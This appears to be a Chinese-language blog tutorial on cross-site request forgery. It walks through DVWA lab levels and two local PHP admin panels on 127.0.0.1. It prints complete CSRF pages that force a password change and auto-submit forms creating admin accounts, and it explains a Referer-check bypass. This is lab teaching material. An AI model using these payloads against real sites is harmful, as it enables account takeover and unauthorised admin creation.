# CSRF 原理及体验
CSRF
的全称是 Cross-site request forgery
,即跨站请求伪造。
定义为 :攻击者在一定的攻击条件下,利用被攻向服务器发起请求,服务器可以正常解析并返回正确结果。
被攻击者在【网站 A】处于登陆状态
必需要在【网站 A】同浏览器中打开黑客提供的链接
后台身份验证不严格(例如除 cookie 外无其他验证)
那么, CSRF
能做什么事情呢?
发邮件
发消息
财产操作比如转账,或者购买商品
修改密码
删除文章
# CSRF 防御
# CSRF 初体验
我们使用 Low
安全等级
在重置密码这里输入 123456
、 123456
照常理,理应在后台存储新密码成功后,我们下次登录是使用 123456
来登录
在此时我们新起一个虚拟主机,将此段代码弄成一个 html
<html > <head > <meta charset ="UTF-8" > <title > CSRF</title > <script > function abc ( ){ var im = new Image (); im.src = "http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#" ; } </script > </head > <body > <img src ="timg.jpeg" width ="100%" height ="100%" onclick ="abc()" > </body > </html >
可以看到这段代码的原理是:
在 timg.jpeg
这张铺满整个屏幕的图片上,设置了一个 onclick
事件,当点击时会调用 abc()
函数。
abc
函数主要是利用点击图片时利用 html
解析图片的 src
过程而发起了一个请求
"http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#"
使得刚刚用户修改的密码,变成了新的 1234567
因此,我们如果使用 123456
登录,势必会登录失败
当我们使用 1234567
来登录时,是成功的,这样一来就完成了 CSRF
跨站伪造攻击。
我们查看源码:
<?php if ( isset ( $_GET [ 'Change' ] ) ) { $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . dvwaCurrentUser () . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); $html .= "<pre>Password Changed.</pre>" ; } else { $html .= "<pre>Passwords did not match.</pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
可以看到,整个代码都是在对 MYSQL
进行修改操作,在密码的获取上没有做任何的来源验证
因此黑客可以使用同一个浏览器伪造请求来完成 CSRF
攻击
# CSRF Referer 校验绕过
题目是 DVWA-Medium
的 CSRF
我们直接来看一下源码是怎么增加保护的:
想法挺好,但是依旧不够安全。
绕过思路 :只要 Referer
里构造好黑客的 1234567
新密码请求后,添加上源服务器名就好了。
我们首先尝试一下抓取点击图片触发的请求:
这里的 Referer 会被后台的条件过滤掉,没法通过,原因在于整个字符串中没有源服务器名
注意 :这里假设源服务器已经使用了另外的域名
那么我们可以把黑客的 html 命名为源服务器名,这样就可以过条件
Referer: http://127.0.0.1/threezh1/csrf/127.0.0.1.html
Password Changed!
可以使用 1234567
登录
附上代码:
<html > <head > <meta charset ="UTF-8" > <title > CSRF</title > <script > function abc ( ){ var im = new Image (); im.src = "http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#" ; } </script > </head > <body > <img src ="timg.jpeg" width ="100%" height ="100%" onclick ="abc()" > </body > </html >
# CSRF POST 请求绕过
请求抓包
发现 do 参数的值是 add_confirm
我们查看一下源码
发现只是 SQL
语句的执行并提取相应的字段进行插入
并未对 CSRF
的漏洞点做校验,因此可以攻击。
当我们成功在一个浏览器中访问后
我们使用如下代码生成的 html 页面进行绕过:
<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > CSRF</title > <script > function abc ( ){ var f=document .getElementById ("test" ); f.submit (); } </script > </head > <body onload ="abc()" > <form action ="http://127.0.0.1/igaming/admin/users.php?do=add_confirm" id ="test" method ="POST" > <input type ="text" name ="pseudo" value ="hack" > <input type ="text" name ="email" value ="hack@gmail.com" > <input type ="text" name ="fname" value ="hack'" > <input type ="text" name ="lname" value ="hack" > <input type ="text" name ="password" value ="123456" > </form > </body >
原理是:
使用 onload
事件当页面访问时就进行 form
表单提交
其中 form
表单的 action
就是直接发起一个请求,请求的内容使用 BP 抓包获取值 进行自定义修改成 input
标签使用
另一个题目的解法,也是一样的原理
<html > <head > <meta charset ="UTF-8" > <title > CSRF</title > <script > function abc ( ){ var f=document .getElementById ("test" ); f.submit (); } </script > </head > <body onload ="abc()" > <form action ="http://127.0.0.1/espcms/adminsoft/index.php?archive=management&action=managesava" method ="POST" id ="test" > <input type ="hidden" name ="inputclass" value ="add" /> <input type ="hidden" name ="tab" value ="true" /> <input type ="hidden" name ="username" value ="zhong1" /> <input type ="hidden" name ="password" value ="zhongzhong1" /> <input type ="hidden" name ="password2" value ="zhongzhong1" /> <input type ="hidden" name ="name" value ="zhong1" /> <input type ="hidden" name ="sex" value ="1" /> <input type ="hidden" name ="powergroup" value ="1" /> <input type ="hidden" name ="inputclassid" value ="1" /> <input type ="hidden" name ="isremote" value ="1" /> </form > </body > </html >